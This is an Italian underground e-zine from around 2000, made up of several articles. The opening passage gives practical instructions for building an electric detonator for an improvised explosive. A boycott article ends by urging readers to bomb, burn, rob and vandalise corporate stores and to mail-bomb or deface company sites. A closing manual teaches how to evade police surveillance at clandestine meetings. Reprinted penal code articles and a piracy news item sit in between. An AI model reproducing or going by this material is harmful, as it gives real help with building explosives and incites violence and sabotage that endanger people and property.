posta all'interno di essa. Il tutto e' semplicissimo, occorre poco tempo e materiale poco costoso: -una lampadina da poche volt -del filo elettrico -una batteria per alimentare il circuito (meglio se alimentato da 6v che sviluppino una potenza di 5 watt e che eroghino circa 2 ampere) -un interruttore -la carica esplosiva (ovvio!) Basta realizzare un seplice circuito per alimetare la lampadina et voila'! _ ______(x)______ | ^ | | | | ___ | - | | |_____/ ._______| (Consiglio per rompere il vetro della lampadina senza danneggiare la molla interna di riscaldare un punteruolo con un accendino e di poggiarlo sul vetro che, si buchera'. Poi inserite con una siringa senza ago la carica esplosiva all'interno stando attenti che la carica venga a contatto con la molla interna della lampadina e che la molla non si rompa). Si puo' (al posto della lampadina) usare una semplice resistenza elettrica che per effetto del passagio di corrente si riscalda fino a raggiungere la temperatura di accensione della carica. La resistenza la potete 'costruire' con del filo abbastanza corto (5 cm max) e sottile di nichel-cromo che attraversato dalla corrente elettrica diventera' incandescente (il filo di nichel-cromo riesce a sopportare temperature notevoli senza fondere), non dovrete fare altro che piegare il filo come nella seguente figura: _8_ / \ | | _.' '._ Dopo aver piegato il filo dovrete metterlo a contatto con una carica esplosiva e inserirlo nel circuito. (Anche se ovvio) In entrambi i casi per detonare l'esplosivo non dovrete far altro che azionare l'interruttore. [CONTROLLO DEL DETONATORE ELETTRICO] -Assicuratevi che i contatti del circuito siano saldi e perfettamente integri; -Potete utilizzare, per una maggiore sicurezza, anche due o piu' interruttori nello stesso circuito; -'Scaricate' continuamente eventuali cariche elettrostatiche che vi si accumulano addosso. Per scaricare l'elettricita' statica basta toccare frequentemente il terreno o meglio ancora un metallo. >PRECAUZIONI VARIE< Mantenete nel brillamento di piccole cariche esplosive la distanza di sicurezza di almeno 50 metri, in caso di cariche maggiori la distanza di sicurezza oscilla dai 50 metri (se l'esplosivo e' all'aperto) ai 100 metri (se la carica esplosiva e' interrata) mentre, per cariche demolitrici all'aperto la distanza e' di almeno 300 metri (nel caso che la demolizione colpisca legname, alberi, roccia, muratura) o di 900/1500 metri (nel caso colpisca cemento armato o strutture metalliche). In caso di mancata esplosione del vostro ordigno artigianale occorre attendere non meno di 30 minuti prima di avvicinarsi ad esso. Ricordate che piu' tempo passa dalla mancata esplosione e meglio e'. La prudenza non e' mai troppa, sappiate che e' in gioco la vostra vita e basta poco per trapassare la carne umana! ---Cyborg--- [dGt_BRaInS] ###################################### #+----------++----------++----------+# #| aNti.c0p || aNti.c0p || aNti.c0p |# #+----------++----------++----------+# ###################################### -=!!!|-ArTiCoLi "InTeReSsAnTi" DaL cOdIcE PeNaLe-!!!|=- Autore: cYb0rG [dGt_BRaInS] 420. Attentato a impianti di pubblica utilita'. Chiunque commetteun fatto diretto a danneggiare o distruggere impianti di pubblica utilita', e' punito, salvo che il fatto non costitusca piu' grave reato, con la reclusione da uno a quattro anni. La pena di cui al primo comma si applica anche a chi commette un fatto diretto a danneggiare o distruggere sistemi informatici o telematici di pubblica utilita', ovvero dati, informazioni o programmi in essi contenuti o ad essi pertinenti. Se dal fatto deriva la distruzione o il danneggiamento dell' impianto o del sistema, dei dati, delle informazioni o dei programmi ovvero l'interruzzione anche parziale del funzionamento dell'impianto o del sistema la pena e' della reclusione da tre a otto anni. 615ter. Accesso abusivo ad un sistema informatico o telematico Chiunque abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volonta' espressa o tacita di chi ha il diritto di escluderlo, e' punito con la reclusione fino a tre anni. La pena e' della reclusione da uno a cinque anni: 1)... 2)... 3)se dal fatto deriva la distruzione o il danneggiamento del sistema o l'interruzione totale o parziale del suo funzionamento, ovvero la distruzione dei dati, delle informazioni o dei programmi in esso contenuti. 615quater. Detenzione e diffusione abusiva di codici di accesso a sistemi informatici o telematici. Chiunque, al fine di procurare a se' o ad altri un profitto o di arrecare ad altri un danno, abusivamente si procura, riproduce, diffonde, comunica o consegna codici, parole chiave o altri mezzi idonei all'accesso ad un sistema informatico o telematico, protetto da misure di sicurezza, o comunque fornisce indicazioni o istruzioni idonee al predetto scopo, e' punito con la reclusione sino a un anno e con la multa sino a lire dieci milioni. La pena e' della reclusione da uno a due anni e della multa da lire dieci milioni a venti milioni se ricorre taluna delle circostanze di cui ai numeri 1) e 2) del quarto comma dell'articolo 617quater. 615quinquies. Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico. Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per efetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero l'interruzione, totale o parziale, o l'alterazione del suo funzionamento, e' punito con la reclusione sino a due anni e con la multa sino a lire venti milioni. 617. Cognizione, interruzione o impedimento illeciti di comunicazioni o conversazioni telegrafiche o telefoniche. Chieunque, fraudolentemente, prende cognizione di una comunicazione o di una conversazione, telefoniche o telegrafiche, tra altre persone o comunque a lui non dirette, ovvero le interrompe o le impedisce è punito con la reclusione da sei mesi a quattro anni.(...) 617bis. Installazone di apparecchiature atte ad intercettare od impedire comunicazioni o conversazioni telegrafiche o telefoniche. Chiunque, fuori dai casi consentiti dalla legge, installa apparati, strutture, parti di apparati o di strumenti al fine di intercettare od impedire comunicazioni o conversazioni telegrafiche o telefoniche tra altre persone e' punito con la reclusione da uno a quattro anni.(...) 617ter. Falsificazione, alterazione o soppressione del contenuto si comunicazioni o conversazioni telegrafiche o telefoniche. Chiunque, al fine di procurare a se' o ad altri un vantaggio o di recare ad altrui un danno, forma falsamente, in tutto o in parte, il testo di una conversazione telegrafica o telefonica ovvero altera o sopprime in tutto o in parte, il contenuto di una comunicazione o di una conversazione telegrafica o telefonica vera, anche solo occasionalmente intercettata, e' punito, qualora ne faccia uso o lasci che altri ne faccia uso, con la reclusione da uno a quattro anni.(...) 617quater. Inercettazione, impedimento o interruzione illecita di comunicazioni informatiche o telematiche. Chiunque fraudolentemente intercetta comunicazioni relative a un sistema informatico o telematico o intercorrenti tra piu' sistemi, ovvero le impedisce o le interrompe, e' punito con la reclusione da sei mesi a quattro anni.(...) 617quinquies. Installazione di apparecchiature atte ad intercettare, impedire o interrompere comunicazioni informatiche o telematiche. Chiunque, fuori dai casi consentiti dalla legge, installa apparecchiature atte a intercettare, impedire o interrompere comunicazioni relative a un sistema informatico o telematico ovvero intercorrenti tra piu' sistemi, e' punito con la reclusione da uno a quattro anni.(...) 621. Rivelazione del contenuto di documenti segreti. Chiunque, essendo venuto abusivamente a cognizione del contenuto, che debba rimanere segreto, di altrui atti o documenti, pubblici o privati, non costituenti corrispondenza, lo rivela, senza giusta causa, ovvero l'impiega a proprio o altrui profitto, e' punito, se dal fatto deriva nocumento, con la reclusione fino a tre anni o con la multa da lire duecentomila a due milioni. Agli effetti della disposizione di cui al primo comma e' considerato documentoanche qualunque supporto informatico contenente dati, informazioni o programmi. Il delitto e' punibile a querela della persona offesa. 635bis. Danneggiamento di sistemi informatici e telematici. Chiunque distrugge, deteriora o rende, in tutto o in parte, inservibili sistemi informatici o telematici altrui, ovvero programmi,informazioni o dati altrui, e' punito, salvo che il fatto non costituisca piu' grave reato, con la reclusione da sei mesi a tre anni.(...) 640ter. Frode Informatica. Chiunque, alterando in qualsiasi modo il funzionamento di un sistema informatico o telematico o intervenendo senza diritto con qualsiasi modalita' su dati, informazioni o programmi contenuti in un sistema informatico o telematico o ad esso pertinenti, procura a se' o ad altri un ingiusto profitto con altrui danno, e' punito con la reclusione da sei mesi a tre anni e con la multa da lire centomila a due milioni.(...) ---CyBoRg--- [dGt_BRaInS] -=!!!|-Pirateria: copiare software non é reato-|!!!=- Rubato da: Libertari Mailing List (Libertari@onelist.com) Una sentenza di un giudice torinese chiude la strade del penale per chi ha copiato software ad uso personale o per la propria azienda. Una decisione storica Pirateria: copiare software non é reato 21/04/00 - News - Torino - Ha sollevato immediato clamore sulla rete la sentenza con cui un tribunale del capoluogo piemontese ha stabilito che duplicare software non é reato se non lo si fa per commerciare le copie prodotte. In altre parole, chi utilizza software copiati per uso personale o all'interno della propria azienda va incontro a possibili richieste di risarcimento da parte delle case produttrici di programmi ma non deve temere la galera. Si tratta di una sentenza storica perchè riporta la pirateria su un binario secondo molti più congruo con l'effettività gravità dell'atto del copiare uno o più programmi. La sentenza é scaturita dal caso di un imprenditore di Torino trovato in possesso, nella sua azienda, di una serie piuttosto ampia di software professionale "piratato", cioé riprodotto da copie dell'originale. All'imprenditore veniva contestato un articolo, ben noto agli esperti della materia, di una normativa che risale al 1941 sul diritto d'autore, in cui si evidenzia la punibilità della violazione "a fini di lucro". "Ma in questo caso, ha detto uno degli avvocati dell'imprenditore, si può parlare di profitto ingiusto solo se il software riprodotto abusivamente viene immesso nel mercato". La sentenza sostanzia una giurisprudenza che riporta su un piano di equità i toni spesso eccessivi utilizzati da chi persegue la pirateria. Ancora non sono note in questo senso le reazioni della Business Software Alliance, che da anni chiede pene severissime per chi copia programmi, al di là del loro successivo utilizzo. ---Libertari ML--- -=!!!|-HoW tO bOyCoTt-|!!!=- Autori: cYb0rG-OldDrake [dGt_BRaInS] Ecco delle righe che riassumeranno in breve cosa poter 'combinare' contro le multinazionali [premetto, anche se è ovvio, che le multi hanno soldi a palate e voi non farete altro che poco ai loro patrimoni ma, è pur sempre qualcosa]. *Ethic* Alcune delle multinazionali che sfruttano la natura (alzando il tasso di inquinamento) e sottopagano i loro lavoratori dei paesi del secondo, terzo e quarto mondo sono: McDonald's Shell Walt Disney Nike Mitsubishi Nestle' Coca Cola Philip Morris Benetton Adidas Del Monte (Royal) Johnson & Johnson Dow Henkel Parmalat Fiat (gruppo Agnelli) Fininvest Montedison Reebok Unilever Novartis L' Oreal Pepsi Cola Philip Morris Kimberly Clark Procter & G. Sun Diamond Total Barilla ABF Chiquita Bayer queste sono solo alcune, la lista [purtroppo] è quasi infinita, a noi non resta altro che boicottarle in modo da far venir meno loro dei proventi e danneggiarlee direttamente o indirettamente. Ricordo inoltre che catene come McDonald's non fanno altre che impedire la crescita dei nostri piccoli negozianti, facendo fallire le buon vecchie paninerie locali che si vedono schiacciate da questi colossi della globalizzazione che offrono scarsa qualità della merce a un costo finale infimo ma, non dimentichiamo che lo pagano indirettamente i piccoli negozianti e direttamente la natura e i paesi sottosviluppati dei quali impediscono lo sviluppo. Vogliono fare del mondo un villaggio globale dovo ci vogliono tutti omologati ai loro modelli (distruggendo etnie, fauna, flora e ogni diversita' che rende 'originale' ed unico l'essere umano), schiacciando subdolamente i nostri pensieri e rendendoci impotenti al loro dominio ci vogliono tutti nel loro apocalittico progetto che ci vede come tante bambole tutte uguali che ripetono le stesse parole, ci vogliono schiavi del Grande Fratello, vogliono che non pensiamo piu' per poter distinguere il bello dal brutto, vogliono che loro siano il bello, vogliono che noi compriamo i loro prodotti perche' hanno gia' attuato un lavaggio globale delle menti nei paesi capitalisti dove . Compriamo cose di cui non abbiamo realmente bisogno e facciamo accrescere i loro capitali, loro controllano il mondo: ribbelliamoci!! *Know-how* Informazioni sulle multinazionali più famose e più grosse del mondo ed in particolare presenti sul mercato italiano. McDonald's Catena di fast food americana presente in oltre 100 paesi con più di ventimila ristoranti. In questi anni sono state messe in atto numerose campagne di boicottaggiocontro questa multinazionale: 1. Per lo sfruttamento del lavoro. I salari sono bassi e gli straordinari non sono pagati in maniera regolare. 2. La McDonald's ha ammesso di aver utilizzato bovini allevati su terre che prima erano coperte da foreste tropicali, impedendo di fatto la loro rigenerazione. 3. Ogni anno la McDonald's utilizza migliaia di tonnellate di imballaggi inutili, la gran parte dei quali finisce per strada e nelle discariche come inquinanti. 3. Nei paesi poveri, vasti appezzamenti di terreno sono utilizzati per la coltivazione di derrate alimentari necessari alla sopravvivenza dei popoli locali. Bisogna ricordare che ci vogliono sette tonnellate di granaglie per produrne una di carne. 5. I menu utilizzati all' interno dei fast food si basano sullo sterminio di milioni di animali, gran parte dei quali allevati in maniera intensiva. 6. Il cibo servito da McDonald's danneggia la salute perché è ricco di grassi, zucchero e sale, mentre è povero di fibre e vitamine. Nike Indizzo: Nike Corporation One Bowermann, Drive Deverton, OR 97005, USA. In indonesia, nelle fabbriche che producono per la multinazionale Nike, gli operai lavorano 270 ore al mese e sono pagati meno di 64.000 lire. Questa somma, anche se corrisponde al salario minimo stabilito dal governo, copre appena il 31% dei bisogni vitali di una famiglia di quattro persone. Naturalmente stiamo parlando delle paghe degli adulti, i bambini prendono molto meno. La paga media di un bambino, che lavora otto ore al giorno per sei giorni alla settimana, è di 30.000 al mese. Per questo è accusata di sfruttamento del lavoro minorile. Shell Indirizzo: Shell International Petroleum Co LTD, Shell Centre London SE1 7MA. La multinazionale anglo olandese Shell ha ammesso di aver acquistato, diversi anni fa, armi per dotare la polizia nigeriana dell' equipaggiamento necessario alla difesa dei propri impianti petroliferi. Le compagnie petrolifere operanti in Nigeria, tra le quali Shell, Elf Aquitaine, Chevron, Mobil, Texano, e le società del nostro paese Agip, Saipem ed Enel, sono responsabili della distruzione ambientale e delle violazioni dei diritti umani. In Nigeria, la Shell è stata accusata dal popolo Ogoni di aver rovinato il suo territorio (una regione ricca pr la pesca e per la coltivazione) con fuoriscite di petrolio, e di aver finanzioato il governo per reprimere gli abitanti che volenvano fermare il disastro ecologico. Walt Disney Sede centrale: Walt Disney Company, 500 Suth Buona Vista Street, Burbank CA 91521, USA. Sede italiana: The Walt Disney Co. Italia, Via S. Sandri 1, 20121, Milano, fax 02/29085349. Attività: produzione di filmati, ideazione di personaggi ed atività editoriali, mostre ricreative, attività edilizie, concessonarie di marchi e personaggi brevettati. Ad Haiti, a 5.500 Km di distanza dai suoi begli uffici californiani, migliaia di giovani lavoratrici, poco più che quindicenni, lavorano alla confezione di abbigliamento a marchio Walt Disney per uno stipendio di circa 27 centesimi (circa 430 lire) l' ora. In queste fabbriche non sono rispettate le norme di sicurezza sul lavoro. Le operaie lavorano 8-10 ore al giorno nel numore più assordante. La pausa pranzo è di soli 10 minuti. Non sono rispettati i diritti sanitari e sindacali, e le operaie sono vittime di percosse, molestie e violenze da parte dei guardiani. Il guio di Haiti è che i salari sono da Terzo mondo mentre il costo della vita è da Primo. Lo stipendio di una giornata basta a malapena a consentire alle operaie di mantenersi in vita e di prendere l' autobus per recarsi al lavoro. Negli USA è iniziata una campagna nei confronti della Disney. Ad organizzarla è la National Labor Commitee [15 Union Square, New York, NY10003, fax 001/212/2423821] che si occupa di tutela dei diritti delle popolazioni del Sud del mondo.Charles Kemaghan, direttore dell' organizzazione, precisa di non voler assolutamente li ritiro della Disney da Haiti, ma chiede che la retribuzione dia portata a 920 lire l' ora. Mitsubishi La Mitsubishi è boicottata perché è la più grande compagnia giapponese che abbatte e commercia legno tropicale proveniente dalle foreste asiatiche e sudamericane. Le operazioni di disboscamento procedono ininterrottamente 24 ore su 24 e solo in Malesia distruggono 300.000 ettari all' anno. Nestlè Indirizzo: Nestlè SA, Avenue Nestlè 55, CH-1800 Vevey, Svizzera. E' presente con i seguenti marchi: Acqua brillante Recoaro, Gingerino Recoaro, Lora Recoaro, After Height, Alemagra, Antica gelateria del Corso, Bella Napoli, Buitoni, Beltè, Berni, Buitoni, Perugina, Cacao Perugina, Le ore liete Perugina, Capuccino, Cheerios, Chinò, Chocapic, Cioccoblocco, Condipasta, Condiriso, Diger Seltz, Dorè, Ecco... Franck, Fiorello, Fontelipia, Fruttolo, Galak, Kit Kt, Gold Krisp, Guigoz, King, La Cremeria Motta, La Valle degli Orti, Le ore liete Perugina, Levissima, Limpia, Lingotto, Locatelli, Maggi, Malto, Kneipp, Mare Fresco, Miglioli, Mio Locatelli, Mio Nestlè Yougurt, Mirage, Motta (gelati), Nescafè, Nesquik Cereali, Nestea, Nestè, Nestum, One-O-One, Orzoro, Panna, Pejo, Perrie, Pezzullo, Pizzaiola Locatelli, Quality Street, Recoaro, Rowntree Macintosh, Sanbernardo, Sanpellegrino, Sanbitter, Sasso, Surgelo, Trio, Ulmeta, Vera, Vismara, Voglia di Pizza, Nestlè ha anche la licenza di commercio dell' acqua Fiuggi. Alcune sue caratteristiche: 1. Oltre che esserenil principale produttore del latte in polvere, controlla fra il 35 e il 50% del mercato mondiale, è la maggiore società agro-alimentare del mondo. 2. Trasgredisce sotto molti aspetti il codice OMS (Organizzazione Mondiale della Sanità) sul latte in polvere nel Sud del mondo. Promuove l' uso del latte in polvere attraverso la pubblicità, gli sconti sugli acquisti e la distribuzione di campioni gratuiti sia al personale sanitario che alle madri, favorendo quindi l' insuccesso dell' allattamento naturale, così che il bambino viene a dipendere dal latte artificiale. Comperare il latte può costare più della metà dell' intero reddito famigliare. Le madri sono costrette a diluire il latte in palvere e questo porta alla malnutrizione. Infine l' acqua che serve a diluire il latte è spesso malsana, ciò causa diarrea, disidratazione e morte di un milione e mezzo di bambini ogni anno, come denuncia l' UNICEF. 3. E' uno dei più grandi coomercianti e distributori di caffè e cacao, pertanto è uno dei massimi responsabili delle gravi condizioni in cui versano milioni di contadini del sud del mondo, a causa dei suoi metodi commerciali totalmente ispirati alla logica del profetto. E' in corso un boicottaggio internazionale coordinato da Baby Milk Action per indurla a sospendere la violazione del codice di regolamentazione commerciale elaborato dell' OMS in materia di latte in polvere. Cola Cola Indirizzo: Coca Cola Company, One Coca-Plaza/PO Drawer 1734, Georgia 30 Atlanta, USA. 1. Nel 1985 ha comprato duecentomila acri di foresta tropicale in Belize per piantare limoni ed arance 2. Ha una forte collaborazione con la Nestlè. 3. Negli impianti di imbottigliamento in India fa uso del lavoro minorile. 4. In Italia avrebbe pagato duecento milioni di lire al ministro della Sanità, allora Francesco de Lorenzo, per facilitare la messa in commercio della bevanda "Light", quella dietetica, che secondo le norme italiane era sconsigliata ai bambini e alle donne incinte. Philip Morris Indirizzo principale: Philip Morris Companies, 120 Park Avenue, NY 10017 New York, USA. 1. Nel 1994 Philp Morris ha speso 25 miliardi di lire per fare eliminare negli Stati Uniti le disposizioni prese dai singoli Stati e farle sostituire da una legge federale più accondiscendente. 2. È uno dei più grandi commercianti e trasforatore del mondo di caffè e cacao. Pertanto è uno dei massimi responsabili delle gravi condizioni in cui versano milioni di contadini nel Sud del mondo perché i suoi metodi commerciali, totalmente ispirati ad una logica di profitto, non garantiscono guadagni dignitosi ai piccoli produttori. 3. Esercitando potenti pressioni sul governo americano è riuscita a far adottare ritorsioni commerciali contro tutti i paesi che tentano di ostacolare l' ingresso di sigarette straniere. Dalla seconda metà degli anni 80, il consumo di tabacco tra i minorenni dei paesi del sud del mondo è aumentato in misura impressionante. Parmalat Indirizzo principale: Parmalat finanziaria, Via O. Grassi 26, 43044 Collecchio PR. È presente con i seguenti marchi: Bonlat, Chef, Corradini, Dietalat, Giglio, Kyr Parmalat, La Frutta, Mister Day, Oro Centrale, Parmalat, Pizza Pronto forno, Plasmon, Pomì Weight Watchers (latte), Tea Food, Tettamanti, Vecchio Forno. Secondo il CUT (maggiore sindacato brasiliano) la Parmalat, in Brasile, tenta di annientare i suoi concorrenti locali con metodi sleali, basati sull' abbassamento transitorioper dei prezzi; fa fallire i contadini che non accettano di produrre per lei attraverso una serie di scorrettezzeattuate da parte delle imprese che hanno in appalto il servizio di raccolta latte. Il prezzo da pagare ai contadini è fissato da Parmalat. Fininvest Indirizzo: Fininvest S.p.A., Milano 2, Palazzo Donatello, 20090, Segrote, Milano. È un gruppo impegnato in 6 settori: edilizia, grande distribuzione, publicità, sport e spettacolo, finanza ed assicurazioni, editoria. Possiede la catena di distribuzione STANDA. Oltre che a Canale 5, Italia 1, Rete 4: le tre reti Mediaset, Fininvest possiede il "Giornale", Tv Sorrisi e Canzoni, Panorama e l' Arnoldo Mondatori Editore. La magistratura sta indagando se attraverso dei prestanome controlla anche Telepiù. La lista degli arrestati e delle indagini giudiziarie a carico dei dirigenti della Fininvest è molto lunga. Barilla Indirizzo: G. e R. F.lli Spa, Via Mantova 166, 43100 Parma. In Italia è l' impresa leader nei settori della pasta, dei biscotti, delle fette boscottate, dei crackers, delle merendine e dei sughi pronti. È presente con i seguenti marchi: Barilla, Crackers Motta, Essere, Gran Pavesi, le Tre Marie, le Spighe Mulino Bianche, Pavesini, Voiello, Panem. All' interno del consiglio di amministrazionedel Barilla siede Walter Wulth, presidente della multinazionale svizzera Oerlikon Buhrle, una delle maggiori aziende europee di armi pesanti (blindati, cannoni, missili). Montedison Indirizzo: Montedison, Foro Bonaparte 31, 20121, Milano. È presente con i seguenti marchi: Carapelli, Cereol, Delizie, Eridania, Friggi, Giglio Oro, Hoc, Lara, Le Macine, Ligustro, Oro Verde, Rustichella, Sigillo, Teodora, Verdi Colli. È un vasto gruppo multinazionale industriale, chimico ed agroalimentare. Le attività di Montedison spaziano in molti settori, ma i principali sono quello chimico, quello energetico e quello agroalimentare. La Montedison è stata la protagonista dei peggiori casi d' inquinamento italiani per mezzo della sua industria chimica, esempio il caso Farmoplant di Massa, il caso Acna di Cengio, i fanghi rossi di Scarlino, il petrolchimico di Marghera. È l' unica impresa italiana che produce sostanze "mangiaozono". Nel 1994 la Montedison ha stretto un' alleanza con la Shell, che non è certo fra i migliori partner; ciò denota un disinteresseper i problemi sociali ed ambientali da parte della Ferruzzi (si vida la multinazionale Shell). Ferruzzi è stata la protagonista dei principali casi d' inquinamento in Italia. Agnelli Indirizzo: IFI, Via Carlo Marenco 25, 10126, Torino. La famiglia Agnelli è presente in Brasile, dove la Fiat possiede alcune fonderie e numerosi stabilimenti di auto, macchine agricole ed apparecchiature biomediche. È comprovato che assume comportamenti antisindacali. L' impero Agnelli comprende ache fabbriche di armi come la SNIA BPD, la IVECO, e la VALSELLA, produttrice di mine antiuomo. La Fiat è considerata la principale responsabile dello sviluppo distorto del sistema dei trasporti in Italia, da sempre centrato dul modello dell' automonile privata e del trasporto merci su gomma. L' accordo fatto tra le industrie automobilistiche (tra le quali la principale è Fiat) e il nostro governo che ha determinato l' adozione degli incentivi alla rottamazione, oltre che produce una qantità enorme di rifiuti inquinanti, ha incoraggiato la corsa all' acquisto d' auto nuove con un altro grosso impulso verso il consumismo irragionevole. Banche di "piombo" Avete mai investito i vostri risparmi nel commercio di armi? No? Bhe, forse lo sta facendo per voi la vostra banca di fiducia presso cui avete depositato il vostro denaro. L' articolo 185/90, che regolamenta il commercio italiano di armi, prevede che nella relazione del presidente del consiglio al Parlamento siano riportati i dati analitici delle operazioni di armamenti, anche se la trasparenza prevista dalla legge è messa a dura prova dai comportamenti degli operatori bancari. Operazioni relative ad esportazioni di armi dall' Italia nell' anno 1997: ----------------------- --------------- Azienda di credito quota (lire) ----------------------- --------------- Banca Commerciale Italiana 559.606.652.137 Banca di Roma 126.324.177.990 Banca Nazionale dell' Agricoltura 48.294.412 Banca Nazionale del Lavoro 62.279.996.862 Banca pop. Bg-Cr Varesino 928.212.520 Banca popolare di Intra 66.717.561 Banca popolare di Lodi 2.544.414.344 Banca popolare di Novara 552.055.054 Banca di Toscana 491.082.053 Banca Ambrosiano Veneto 65.237.144 Banca di Chiavari e della Riviera Ligure 2.591.485.567 Banca di Napoli 266.001.105 Banco S. Paolo di Torino 6.135.128.734 Cassa di Risparmio di La Spezia 5.940.162.652 Cassa Risparmio Prov. Lombarda 0.735.915.391 Credito Italiano 189.452.954.884 Monte dei Paschi di Siena 190.984.864.730 *Activism* L'attivismo è sicuramente fondamentale, non esitate a distribuire volantini e materiale vario che sottolineano il 'lato oscuro' delle aziende: l'ideale sarebbe quello di distribuire il tutto proprio davanti alla succursale della multi della vostra citta'. Convincete la gente a non aquistare i loro prodotti. Vi potete aiutare facilmente con molto materiale reperibile in rete presso gli indirizzi: http://www.rtmark.com http://www.adbusters.org http://www.manitese.it/boycott/ http://www.tmcrew.org/csa/l38/multi/ *Destroid* Inizia il lato piu' divertente: potete rendere inservibile il locale dell'azienda e i relativi prodotti, ecco pochi degli infiniti modi per distruggere le succursali cittadine delle multinazionali: -Rompete le vetrine tirandogli una candela di macchina... -Sabotate i loro prodotti -Lasciate qualcosa di indesiderato dentro i loro locali -Comprate delle esche (quelle per pescare) e riversatele nei punti piu' 'hot' dei loro locali (ancora meglio sono degli insetti + grandi ;) -Lasciate delle uova marce per terra -Mettete una bomba nei loro locali ;))) -Lasciate il loro numero tel. appeso nelle cabine con un annuncio erotico al di sopra -Date fuoco ai locali ;)))) -Rovinate le attrezzature dei locali: datevi al vandalismo! -Mettete una stinky bomb -Fate una rapina ;))) -Evitate che restino appesi dei cartelloni pubblicitari della ditta [potete lanciargli una molotov, strapparli...] Nel caso in cui l'azienda abbia un sito web potete: -Hackerate il loro sito web (fantascienza ;)) -Radunate un Netstrike sul loro sito web -Riempite di spam le loro caselle e-mail -Inviategli una mail bomb ---Cyb0rG/OlDrake--- [ dGt_brAinS ] -=!!!|-mAnuAle dI c0Ntr0s0rVegLiaNzA x gEsTirE c0nTattI cLanDesTinI-|!!!=- Autore: Harry Caul Il presente articolo è scritto a scopo informativo, di ricerca e intrattenimento. Le parole "tu" e "io" sono usate soltanto per facilitarne la lettura. Questo articolo ti insegna come capire se si è controllati prima di incontrarti con i tuoi contatti clandestini. Imparerai un protocollo che contrasterà servizi di sicurezza come FBI, BATF, DEA, e altri. Il metodo è particolarmente efficace contro la sorveglianza standard della polizia. Funziona anche contro i cosiddetti gruppo di ispezione della IRS. Le origini del manuale. Il metodo descritto in questo articolo fu originariamente congegnato nel 1943-1944 dall'esperto di controsorveglianza Anthony Blunt per MI.5 britannico. Sfortunatamente per la Britannia, Blunt era un agente sotto copertura del KGB. Sei anni dopo, Blunt insegno' il protocollo al suo nuovo controllore del KGB, Yuri Modin. Insieme perfezionarono la tecnica così come oggi è conosciuta. Ostacolarono con successo per tre anni la sorveglianza del MI.5, a volte incontrandosi anche giornalmente per scambiarsi informazioni e documenti top secret. In effetti, Blunt stava utilizzando le tecniche di sorveglianza sviluppate all'interno del MI.5 per batterli al loro stesso gioco. Proliferazione. Questo metodo di controsorveglianza è stato adottato dal Mossad israeliano, dalla BND tedesca, dal KGB (ora SVR) russo, dalla americana CIA, e da molti altri. Il protocollo è impartito agli agenti dell'intelligence ai loro controllori - questi sono ufficiali dell'intelligence che gestiscono e si incontrano con gli agenti infiltrati nei paesi stranieri. Il metodo è oggi anche usato dai movimenti di resistenza e dai gruppi di guerriglia urbana. Quando questo protocollo di controsorveglianza è applicato metodicamente, è estremamente difficile per un servizio di sicurezza violare la tua sicurezza. Istruzioni passo per passo... Ecco una situazione ipotetica. Mettiamo che tu ed io volessimo incontrarci clandestinamente. Naturalmente assicurandoci che il nostro incontro non sia osservato da gruppi di sorveglianza. Tu ed io ci siamo precedentemente messi d'accordo sul luogo, la data, e l'ora. Inoltre ci conosciamo nel senso che riusciamo a riconoscerci a vista. *[ sTeP #1 ]* Tu ed io arriviamo indipendentemente nel luogo precedentemente concordato. Piuttosto che fissare un luogo specifico, ci siamo accordati solo su un luogo generico. Questo è un principio importante. Può essere un grande parco, un distretto residenziale, ecc... Il posto dev'essere all'aperto e lontano dalla sorveglianza di telecamere. Dev'essere anche selezionato con l'intenzione di evitare i teleobiettivi. Tu ed io dovremmo conoscere bene l'area. Il luogo ci dovrà fornire una ragionevole copertura una volta li' - gironzolando per il parco, passeggiando in un area residenziale fino ad una fermata di autobus, un negozio di convenienza, ecc... *[ sTeP #2 ]* Tu ed io ci faremo un segnale visivo ad un certa distanza l'uno dall'altro. Lo faremo discretamente, in modo che altri non se ne accorgano. Io uso un segnale concordato per avvertiti che ti ho riconosciuto. Forse metterò la giacca sulle spalle, o mi levero' e pulirò i miei occhiali, ecc.. Il segnale deve essere un movimento naturale che non attrae attenzioni indesiderate. La sicurezza per prima cosa. Sebbene io e te ci siamo riconosciuti, non dobbiamo rivolgerci la parola. Questa è un'importante valvola di salvezza. Se uno di noi ha "sviluppato una coda" non vogliamo compromettere l'altro. BACKGROUND - La frase "sviluppare una coda" ("grown a tail" nel testo originale) è nel linguaggio delle spie un modo per dire che si è sotto sorveglianza. La frase è comunque imprecisa nel senso che nessuno ti segue, ma spesso ti circondano. *[ sTeP #3 ]* Quando vedi il mio segnale cambierai semplicemente strada. Io ti seguirò per assicurarmi che non sei stato visto. Controllerò con cura la presenza di gruppi di sorveglianza in movimento . Di agenti in postazioni fisse. E in veicoli di sorveglianza. BACKGROUND - In particolare, io posso seguirti, camminare parallelamente a te, o avanti a te occasionalmente. L'obbiettivo è semplicemente quello di essere vicini tanto da permettermi di rilevare eventuale sorveglianza intorno a te. Rimarro' sempre ad una certa distanza da te, senza mai avvicinarmi troppo. *[ sTeP #4 ]* Quando mi sono assicurato che tu sei pulito, ti farò un altro segnale. Forse mi allaccerò le scarpe. *[ sTeP #5 ]* Ora ci scambiamo i ruoli e questa volta sarò io a cambiare strada. Tu inizierai a seguirmi assicurandoti che non sono stato osservato. Controllerai la presenza di gruppi di sorveglianza in movimento . Di agenti in postazioni fisse. E in veicoli di sorveglianza. Cosa cercare. Osserverai con cautela le persone che camminano al passo con me o che si muovono parallelamente a me. Controllerai le persone che indugiano in posizione tale da potermi osservare. Osserverai le persone che vanno e vengono ma che si trovano sempre in posizione tale da potermi monitorare. Starai attento ai veicoli che lasciano scendere qualcuno avanti a me. *[ sTeP #6 ]* Appena appurato che sono pulito, mi farai cenno che non sono osservato. (al contrario, se sospetti che un gruppo di sorveglianza è nelle vicinanze, abbandonerai l'operazione e ti dileguerai). BACKGROUND - Devi controllare i tuoi istinti, perchè se qualcosa non sembra a posto è meglio salvarsi che scusarsi. Molta gente si sorprende quando apprende che non è difficile rilevare un gruppo di sorveglianza. Questa è la sottile eleganza del sistema di controsorveglianza di Blunt. E i goffi sono indifesi contro di esso. *[ sTeP #7 ]* Ora io e te possiamo incontrarci. Dopo la nostra discussione ci accordiamo sulla data, l'ora e il posto del nostro prossimo incontro clandestino - e sui due piani di riserva nel caso in cui l'incontro 